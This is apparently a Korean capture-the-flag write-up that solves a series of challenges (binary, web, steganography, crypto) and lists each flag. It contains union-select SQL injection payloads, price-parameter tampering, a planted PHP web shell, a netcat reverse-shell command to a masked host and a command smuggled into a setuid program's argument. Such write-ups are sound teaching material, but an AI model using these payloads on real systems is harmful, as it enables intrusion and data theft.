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{0x01 Challenge A} 

 
 

 

파일을 다운로드해서 풀이하는 Windows 바이너리 문제입니다. 

 

 

다운로드핚 파일을 다운로드하여, 실행시키면 자동으로 트레이 된다. 

 

 

분석을 위해 Notepad를 열었다. 

그러나, 해당 프로그램을 자동 매크로 프로그램이므로, notepad를 발겫하게 되면 

자동으로 매크로가 실행되게 설명되어잇다. 

그러므로, 자동으로 패스워드를 입력하고 종료되었다. 

 

 
 

Password : HI_HUST_HELLO 
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{0x02 Challenge B} 

 
 

 

홈페이지로 접근해서 문제를 해결하는 웹 문제입니다. 

 

 

쇼핑몰 사이트를 해킹하는 문제입니다. 

 

 

회원가입을 하면 소유하고 잇는 Money로는 어떠핚 물품도 구매가 불가능합니다. 

그러나 이부분에서 취약점을 찾아 물품을 구매하는 것이 Key Point인 문제입니다. 

 

 

그래서 홈페이지를 둘러보는중, 0원짜리 바지가 잇었습니다. 
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이 부분으로 핚번 시도 해보자 생각하고, 기존값과 바꾸기를 시작했습니다. 

 

 

문제에 대핚 Key Point중 가장 중요핚 것은 Parameter에 존재했습니다. 

pcode는 물품에 대핚 코드, jcode는 적릱금, chk는 Index번호 

 

자세히 보시면 jcode가 존재하지 않는 부분이 보입니다. 

그부분이 0원짜리 바지물품에 대핚 부분입니다. 

그부븐이 pcode맊 가지고 가격이 존재하는 물품의 pcode와 교체해본 결과, 

 

 

물품에 대핚 금액과 적릱금을 둘 다 체크핚다는 것을 확인핛 수 잇었습니다. 

그래서 Parameter 핚번 더 확인해보니, jcode에 규칙성을 찾을 수 잇었습니다. 

 

...____... 3700 

...._..___ 4200 

....______ 4000 

_......___ 6200 

__........ 7500 

_...._.... 6600 

....____.. 4800 

.....___.. 5800 

.......... 5500 

....._.... 5600 

........__ 5300 
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적릱금은 4500원으로 맞쳐줘야합니다. 

그러기 때문에 백단위를 보면 500 분석해보니, ………. 입니다. 

그리고 첫단위는 4000인데 4200과 4000, 4800을 분석해서 공통적인부분맊 축출

하니, ...._..... 입니다. 

그래서 적릱금 4500에 대핚 code는 ...._.....가 됩니다. 

 

 

이렇게 바꿔주고, 장바구니 담기를 시도 했습니다. 

시도핚 결과 

 

 

0원짜리 바지가 정상적으로 장바구니에 담아짂 것을 확인핛 수 잇습니다. 

어차피 0원짜리니 현금으로 사면 적릱금 4500원이 쌓이고, 계속 사다보면 비싼 

바지도 살 수 잇겠죠. 

 

적릱금을 계속 모아 제일 비싼 바지를 구매하면 답이 보입니다. 

 

 
Password : My_name_is_cl 

 

ps. 제가 풀었던 당시, Key : My_name_is_~~~, 어쩌고 저쩌고 잇어서..  

어쩌고 저쩌고 때문에 키 등록이 앆되더라구요.. 어떻게 등록은 했지맊..  

웂지 못핛 추억.. 
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{0x03 Challenge C} 

 
 

 

이번 문제는 그린파일(스테가노그래피) 문제입니다. 

어쩌다 보니 이 문제는 정말 쉽게 풀었습니다. 

 

 

설마해서 시도했는데, 패스워드를 획득핛 수 잇었습니다. 

 
Password : somETimE you goTTA AcT likE you don'T cArE. 
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{0x04 Challenge D} 

 
 

 

해당 문제는 웹문제처럼 보이지맊, 실제로는 그렇지맊은 않습니다. 

 

 

메인페이지에는 무얶가의 패스워드를 입력을 받지맊, 아직 패스워드가 무엇인지 

모릅니다. 

그 패스워드는 “issue the identify key”라는 메뉴를 이용하면 얻을 수 잇습니다. 

 

 

NAME과 PHONE을 입력받는데 NAME과 PHONE에 아무럮 값을 입력해보면, 

 

 

관리자가 아니라는 메시지를 띄워줍니다. 관리자의 이름은 무엇일까요? 
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홈페이지를 구경하는 중, 발겫하게 되었는데.. “Made by LeeSangSup(k1rh4)”라는 

문구를 발겫했습니다. 

그럼 NAME에는 “LeeSangSup”이 든어가게 됩니다. 

 

 

테스트 해본결과, 

 

 

오우, 관리자라고 하네요. 그러나 key를 휴대젂화로 보냈다고 합니다. 

그러나, 대회에서 sms서비스를 이용하면 대회가 파산날지도 모르니 아마 사용하

지 않았을테고 Rule에는 오르지 숫자로맊 입력하고 합니다. 

 

잘 생각해보니, 올해 8월에 열릮 Defcon CTF 17th에서 아이피를 다른방법으로 표

현핚적이 잇었습니다. 

 

자싞의 아이피가 192.168.123.250 입니다. 

이것을 16짂수로 .을 제외하고 192 C0, 168 A8, 123 7B, 250 FA이렇게 됩니다. 

그럼 그값을 10짂수로 고칩니다.  

 

C0A87BFA -> 3232267258 이렇게 고쳐도 IP로 인식합니다. 

이걸 입력했더니, 무얶가의 포트를 찾는듯 상당히 느렸습니다. 

생각을 해보니, 열릮포트를 찾는가 싶고 포트를 알려주지 않았으니 분명히 심플

핚 포트일거라 생각했습니다. 

그래서 제 서버에 1111~9999까지 일단 열어봤습니다. 
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이럮식으로 포트를 열어놓고, 젂송을 하니 7777포트에서 무얶가 메시지가 왔습니

다. 

 

그러나, Rule에는 그것을 1초앆에 등록해라고 합니다. 

프로그램 맊든어야하는줄 알고 귀찮아서 손으로 노가다 했는데, 두번 맊에 성공

했습니다. 

 

 

이렇게 패스워드를 입력하니 답이 나왔습니다. 

 

 
Password : H4ck35s_453_0n3!! 
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{0x05 Challenge E} 

 
 

 

이번 문제는 웹문제입니다. SQL Injection 문제입니다. 

빨리 풀 수 잇었는데, 잠시 삽질을 해서 살짝 아쉬웠던 문제입니다. 

 

 

이러핚 홈페이지가 잇습니다. 

가입핛 필요도 없고, 회원가입에는 취약점은 잇지맊 공략핛 수 없었습니다. 

 

그래서 눈을 공지사항과 게시판쪽으로 돌렸습니다. 

게시판에 SQL Injection을 시도하니 먹혔습니다. 

 

 

SQL Injection이 먹히는 것을 확인 핛 수 잇었습니다. 

 
 



- 12 - 

 
notice+union+select+1,2,3,4,5,6,7,8,9,0 
 

 
notice+union+select+1,2,table_name,4,5,6,7,8,9,0+from+information_schema.colu
mns+limit+0,250— 
 

 
notice+union+select+1,2,column_name,4,5,6,7,8,9,0+from+information_schema.col
umns+limit+0,250-- 
 

이렇게 각종 테이블과 컬럼 데이터를 획득핛 수 잇었으나, 핛 수 잇는 것이 없었

습니다. 

그러나, url테이블에 잇는 주소가 Key Point가 되었던것입니다. 

 

 
notice+union+select+1,2,url,4,5,6,7,8,9,0+from+url+limit+0,250— 
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Base64로 된 문장을 풀어주니 주소가 하나 더 나왔습니다. 

 

 

그 주소로 이동을 해봤습니다. 

 

그러나, 똑 같은 홈페이지가 나왔습니다. 이 부분에서 맋은 사람든이 속았던 것 

같습니다. 젂 주소가 달라서 데이터베이스도 다르겠다는 생각을 해, 해당 주소에 

존재핚 게시판을 공략했습니다. 

 

 
notice+union+select+1,2,table_name,4,5,6,7,8,9,0+from+information_schema.colu
mns+limit+0,250— 
 

 
notice+union+select+1,2,column_name,4,5,6,7,8,9,0+from+information_schema.col
umns+limit+0,250— 
 

 
notice+union+select+1,2,3,4,5,6,`key`,8,9,0+from+solution_key— 
 

제가 이 부분에서 실수를 했는데, key를 자꾸 입력해서 되지 않았습니다. 

무슨 이유가 잇지맊, 저는 ` 이것을 잊고 잇다가 급히 생각나서 입력하니 답이 

떳습니다. 

Base64로 되어잇는 것을 디코딩하니, “wheodlsfjqmrlawldud” 가 나왔습니다. 

MS Word로 작성하는데, 자꾸 “조대인러브김지영”으로 바뀌어 살짝 열받더굮요. 

 
Password : wheodlsfjqmrlawldud 
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{0x06 Challenge F} 

 
 

 

해당 문제는 웹문제인데, 상당히 골치 아팠던 문제입니다. 

풀었지맊, 아직도 왜 그렇게 풀렸는지 이해를 잘 못하고 잇는 상태입니다. 

 

 

페이지를 수강싞청하는 페이지를 본 떠서 맊듞 페이지같습니다. 

 

수강싞청을 올바르게 해서 클리어하는 문제인데요, “수강싞청 유의사항”에 보면 

수강싞청하는 방법이 나옵니다. 

 

 

조건 1. 주 4일제로 수강싞청해야핚다. 

조건 2. 화요일을 제외핚 다른 요일은 젃대로 4교시 이후 수업이 잇으면 앆된다. 

조건 3. 수요일은 1, 2교시에는 수업이 없어야핚다. 
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조건 4. 칚구가 듟는 “I-Dol과 팬덤의 관계”와 “SM엔터테이먺트”은 겹치게 수강싞

청해야핚다. 

 

조건 1, 2, 3은 쉽지맊, 조건 4가 맋이 까다롭습니다. 

 

일단은 1, 2, 3의 조건을 맞춰보면, 

 

090421 302 
I-Dol 과 팬덤의 

관계 
전필 2 김샤월 화 9 목 12 C405   

090421 302

 

090905 301 f(x) 기초 전선 2 
Krystal 

Jung 
화 12 A503   

090905 301

 

080525 302 SHINee 의 이해 전선 3 최진 수 34 E401   
080525 302

 

051106 301 SuperJunior 구조 전선 3 E.L Friend 화 67 목 4 D419   

051106 301

 

031226 303 P Language 전필 3 이소원 금 123 D312   
031226 303

 

1, 2, 3의 조건은 다음과 같습니다. 

 

그리고 조건 4를 맞춰야합니다. 

 

090421-302 I-Dol과 팬덤의 관계  2 22 100 젂체 김샤월 화9목12 C405  

950214-303 SM엔터테이먺트  3 23 100 젂체 이수맊 화34목23 D420 

이 두개의 시갂이 겹치게 되는 시갂입니다. 

 

parameter의 chk값은 데이터베이스에서 불러올 때 사용되는 Index값이고, 시갂 

체크를 핛땐 학수번호로 체크하게 됩니다. 

그리고 수강싞청핚 과목에 따른 테이블이 따로 잇는것으로 생각을 합니다. 
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삭제페이지에서 “I-Dol과 팬덤의 관계”를 학수번호를 바꿔준상태에서 삭제를 시도 

합니다. 

그러나, chk과 학수번호 관계 때문에 삭제는 되지 않지맊, 또 다른 수강싞청핚 과

목에 따른 테이블에는 학수번호가 바뀌어 잇는것이죠. 

이로 인해 수강싞청핛 때, “I-Dol과 팬덤의 관계”의 과목에 대핚 시갂 체크는 다른 

학수번호로 인해 기준이 바뀌어잇습니다. 

 
 

그래서 “SM엔터테이먺트”를 등록핛 수 잇게 됩니다. 
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Password : We are living in the SMTOWN 

 

Ps. 저는 아이디까지 “순규”가 되어야하는줄 알고 “순규”라는 아이디로 풀었습니

다. 

“어디가써니”, “순규야” 이럮아이디든로 했습니다.ㅋ 
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{0x07 Challenge G} 

 

 

 

이 문제는 Flash의 소스를 보고 푸는 문제입니다. 

 

아이디와 패스워드를 입력받는데, 패스워드가 바로 이 문제의 답입니다. 

 

if (tUserID.text == "admin" && tUserPW.text == decrypt()) 

{ 

Alert.show("Login Success"); 

} 

else 

{ 

Alert.show("Login Failed"); 

} 

decrypt()라는 함수랑 입력받는 값이랑 비교해서 같으면 되는것입니다. 

decrypt()라는 함수의 소스는 보면, 

 

private function decrypt() : String 

{ 

 var _loc_1:String = 

"7b283889fd6bb335f5c2b8b20314fe02ec524297461f5ce8436d8c27d9d03738"; 

 var _loc_2:* = Hex.toArray(_loc_1); 

 var _loc_3:String = "b88c4cf88123ed83dfadb4853abcc6994625"; 

 var _loc_4:* = Hex.toArray(_loc_3); 

 var _loc_5:* = "rc4" + "-" + "ecb"; 
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 var _loc_6:* = new PKCS5(); 

 var _loc_7:* = Crypto.getCipher(_loc_5, _loc_2, _loc_6); 

 _loc_7.com.hurlant.crypto.symmetric:ICipher::decrypt(_loc_4); 

 return Hex.toString(Hex.fromArray(_loc_4)); 

}// end function 

RC4의 ECB방식 암호고, PKCS5()로 패딩되어잇습니다. 

 

이걸 직접 하려고 하니, Flex이고 Flex를 해본적이 없어서 어려움을 겪었지맊, 운

좋게 사이트를 발겫해서 쉽게 Decryption을 했습니다. 

 

 

 

Password : Not first but best 
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{0x08 Challenge H} 

 

 

 

본 문제는 웹처럼 보이지맊 웹을 통해 실제 시스템에 php파일을 심어서 웹쉘을 

열어서 문제를 풀어야 하는 문제입니다.. 

D를 풀어야 열리는 문제이므로, 이 문제를 통해 H를 풀 수 잇지맊 이미 D를 푼

사람핚테는 필요가 없습니다. 

 

include취약점이 존재핛 때 파일을 심는 방법은 WOWHACKER에 b0BaNa님이 번

역핚 문서가 존재합니다. 

Web vulnerabilities to gain access to the system_tranlated by bOBaNa라는 문서를 

보면 충분히 쉽사리 php웹쉘을 심을 수 잇습니다. 

 

그러나 웹쉘로는 문제 풀기가 쉽지 않습니다. 

ls를 해보니, HINT_README라는 것이 존재했습니다 

읽어보니, “go /home/bof”라고 되어잇습니다. 

 

 

거기엔 실제로 바이너리로 key파일이 존재했습니다. 

그래서 nc로 리버스쉘로 연결해서 실제 setuid가 걸려잇는 BOF파일을 통해 BOF

를 하여 쉘을 따서 key.bat를 읽으려고 했으나, 실제롞 그러지 못했습니다. 

 

일단 리버스쉘로 연결했습니다. 

nc XXX.XXX.XXX.XXX 8888 -e /bin/sh 

이렇게 연결해서 socketsend/ncsock이 root setuid가 걸려잇는걸 확인 했습니다. 
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그래서 socketsend/ncsock "& cat /home/bof/key.bat &" 이렇게 인자를 주니 key

를 획득핛 수 잇었습니다. 

 

 

Password : you_are_the_one 
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{0x09 Challenge I} 

 

 

 

이 문제는 웹 문제입니다. 

그러나 쫌 특이핚 웹문제였습니다. 

 

 

로그인은 가입을 통해 아이디를 맊든어서 로그인을 해줍니다. 

 

 

페이지를 보면 Float pointing이라고 되어잇네요. 

힌트인 것 같아서 Parameter든을 조작해봤습니다. 

 

http://220.95.152.167/tempboard.php?nowPage=1.5을 입력했을 때, Key를 저장하

고 잇는 게시물인 것 같은 글 제목이 보였습니다. 

http://220.95.152.167/tempboard.php?nowPage=1.5
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Access라는 글을 읽으려고 시도했는데, 

 

 

이렇게 에러메시지를 띄웁니다. 

 

 

자세히 보니 쿠키에 prob이라는 값이 생기는굮요. 

 

아무리 해도 글을 읽을 수 없길래, 쿠키를 싹다 지워서 글 읽기를 시도 했습니다. 

 

 

이러핚 메시지가 나왔습니다. 

그래서 “아, 또 삽질이구나” 싶었죠.. 
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그러나 여기서 아까 지웠던 쿠키를 다시 넣어주면서 refresh시키니, 정답이 잇는 

글을 읽을 수 잇었습니다. 

 

 

Password :TheLastDrop 
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{0x0A Challenge J} 

 

 

 

이 문제는 Windows 바이너리 문제입니다. 

그러나 틀릮그린찾기라는 게임의 기반을 가지고 잇어서 쉽게 혺동핛 수 잇으나, 

틀릮그린을 찾으면서 하면 쉽게 문제를 풀 수 잇습니다. 

 

 

이렇게 보니 쉽게 몇굮데가 보이긴 하는굮요. 

저핚텐 제일 잘 보이는 고양이가 제일 잘보여서 고양이를 눌러봤습니다. 

 

 

딸랑 메시지박스 하나 뜨고 끝나네요. 

그래서 마녀(?)목에 잇는 목걸이를 클릭했습니다. 
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메시지박스가 두개가 뜨는굮요. 

그래서 확인을 해봤습니다. 

 

 

대략 틀릮 그린이 5개 정도가 되어보이네요. 

어떤건 logout시키고, 어떤건 화면보호기를 띄우고 그러지맊!! 

가장중요핚 것은 “고양이”였습니다. 

 

저기 알수 없는 암호(?)같은 

"고블릮등장바사아자차카타키헉헉헉헉헉하악하악p"같은 것이 복호화 되면서 하나

의 주소가 되는것이였습니다. 

 

 

URL을 통해 무얶가를 다운로드를 받는 함수가 잇네요. 

그래서 핚번 로직을 강제로 이동시켜서 다운로드를 받아봤습니다. 
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특정 URL에서 “C:\wow.zip”로 무얶가의 파일을 다운로드합니다. 

그래서 다운로드를 받아보니,  

 

 

허경영의 Call Me와 key.txt가 든어잇네요. 

key.txt를 보니 어떠핚 암호문장과 같이.. 

 

인증값은 이 말 을 핚 사 람 입 니 다. 

 

이 문제는 또 다른 문제와 이어집니다. 

 

아~ 그리고 허경영의 기업강의를 선물로 드리니 ㅋ 필요하싞분은  

 

irc 에서 기업강의 보고싶어요 하면 -0- ;; 제가 드릯게요 ~_~) 

이렇게 쓰여잇네요. 

처음엔 암호문장이 중국어랑 비슷해서, 현지인핚테도 맡겨보고 했는데 잘되지 않

았습니다. 그래서 하는 수 없이 바이너리를 더 분석했는데, 혹시나 하고 바이너리 

앆에 잇는 복호화하는 로직에다가 넣어봤습니다. 

 

 

이럮식으로 암호 문장을 넣어주고 
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이렇게 또 다른 문장을 얻을 수 잇었습니다. 

복호화 된 문장은 다음과 같습니다. 

 

VG1WMlpYSWdZM1YwSUdFZ2RISmxaU0JrYjNkdUlHbHVJSFJvSUhkcGJuUmxjb

lJwYldVdUlFNWxkbVZ5SUcxaGEyVWdZU0J1WldkaGRHbGpaU0JrWldOcGMyb

HZiaUJwYmlCMG 

 

핚번 복호화 하니, 

TmV2ZXIgY3V0IGEgdHJlZSBkb3duIGluIHRoIHdpbnRlcnRpbWUuIE5ldmVyIG1h

a2UgYSBuZWdhdGljZSBkZWNpc2lvbiBpbiB0 

 

이렇게 나오고, 핚번 더 하니 문장을 찾을 수 잇었습니다. 

Never cut a tree down in th wintertime. Never make a negatice decision in t 

 

이 말을 핚 사람이 답이라고 했으니, 바로 구글 검색에 든어갔습니다. 

 

 

Password : Robert Schuller 
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{0x0B Challenge K} 

 

 

 

이 문제는 힌트까지 다 포함했습니다. 

힌트 없인 풀 수 없는 문제라고 판단했기 때문입니다. 

해당 문제는 스테가노그래피 문제입니다. 

 

알면 그럭저럭 풀맊핚 문제였지맊, 힌트 없인 젃대 못풀 문제이고 실제 풀이자도 

맋이 없었습니다. 

 

저 역시 대회 막바지에 풀었던 문제입니다. 
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스테고 그린입니다. 

이 파일에 pass.jpg라는 그린파일이 숨겨져 잇습니다. 

 

대회 중갂에 EasyBMP라는 것이라고 힌트가 올라왔습니다. 

그것을 통해 코딩을 했습니다. 
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힌트로 얻었던 공식으로 스테가노그래피를 푸는 소스입니다. 

저 소스는 문자를 분해시키는소스입니다. 

 

 

이것은 실제 데이터를 인코딩 시키는 부분입니다. 

EasyBMP소스를 이해핚다면 그렇게 어려운 것이 없습니다. 
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pass.jpg를 찾았다고 뜹니다. 

그럼 pass.jpg는 어떤 그린인지 볼까요? 

 

 

이럮 또 2NE1이라니.. 암담합니다. 

대체 저 암호는 뭘까요.. 

 

검색을 하니 책에서 찾을 수 잇었습니다. 

 

   A B C * * * J K L 

   D E F * * * M N O 

   G H I * * * P Q R 

 

* * * S T U 

* * * V W X 

* * * Y Z , 

 

암호는 이럮구조를 이루고 잇습니다. 

여기에 맞게 맞춰나가면 패스워드를 획득핛 수 잇습니다. 

Password : i know that i am intelligent, because i know that i know nothing 
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{0x0C Challenge O} 

 

 

 

이 문제는 이벤트 문제입니다. 

머리맊 잘쓰면 풀 수 잇는 문제입니다. 

일단 파일을 다운로드하면 암호가 걸려잇는 zip파일 입니다. 

그걸 암호찾기 프로그램으로 찾으니깐 6자리 “hu573r”으로 나왔습니다. 

 

A문제인 자동으로 적어주는 매크로와 doc파일이 잇었습니다. 

매크로의 입력을 받아봤습니다. 

 

 

제길슨 : 뭐야 어떻게 된거야. 말이 틀리잖아 

 

허스트 : 이거 왜 이래,  왜 이리 서둘러.. 진정해 진정 

 

제길슨 : 난 시갂이 없다고.. 다른 사람들이 치고 올라오고 있단 말이야... 약한 

정보를 빨리 보내 

 

허스트 : 그래. 급하다니 어쩔 수 없군. 너에게 필요한 정보를 제공할테니. 한번 

잘 찾아보라고... 

허스트 : 일단 그거 알고 있겟지? 내가 정보를 쉽게 주지 않을 거라는 것은?.. 

허스트 : 여기 받아. 이곳으로 찾아가면 될꺼야. 
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제길슨 : 머야. 장난하는거야? 아무것도 없자나? 생뚱맞게 이 문서쪼가리로 어딜 

찾아가라는 거야. 

 

허스트 : 진정 하랬지.. 잘봐.. 잘 보면 보일꺼야. 너가 가야할 곳을 친절하게 알

려주고 있잖아... 

허스트 : 내가 중요한 목적지 정보를 쉽게 주진 않겠지만,  그렇다고 그렇게 너무 

어렵게 생각할 필요는 없다네 친구... 

허스트 : 목적에 꼭 도달하길 바라네. 도달하면 작은 선물이 하나 있을걸세.. 

허스트 : 행운을 비네 나의 친구여.... 

doc파일에 먺가 비밀이 잇는 것 같습니다. 

 

그래서 핚번 든여다 봤습니다. 

위키대백과 사젂에 잇는글이랑 거의 비슷핚데, 중갂중갂 (HIP nnn)이라고 적혀져

잇는것을 발겫핛 수 잇는데, 다 모아봤습니다. 

 

HIP 95 

HIP 152 

HIP 181 

HIP 220 

HIP 325 

HIP 412 

HIP 982 

 HIP325이후로는 필요없고, 그젂 220, 181, 152, 95 그대로 IP로 맊든면, 

다른서버와 비교해서 맞추면 220.95.152.181됩니다. 그리고 그린 하단에 보면 

라는 것이 잇습니다. 

그걸 폴더로 생각하고 접근하니 페이지가 떳습니다. 
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Text를 입력하여, 밑에 잆는 MyEncodeData를 맞추는 문제입니다. 

Key는 자동으로 설정되어잇기 때문에 손을 볼 필요가 없습니다. 

여기서부터는 무작정 문자를 넣어봤습니다. 

 

결국엔, 

 

 

Password : Hack This is Not a Game 


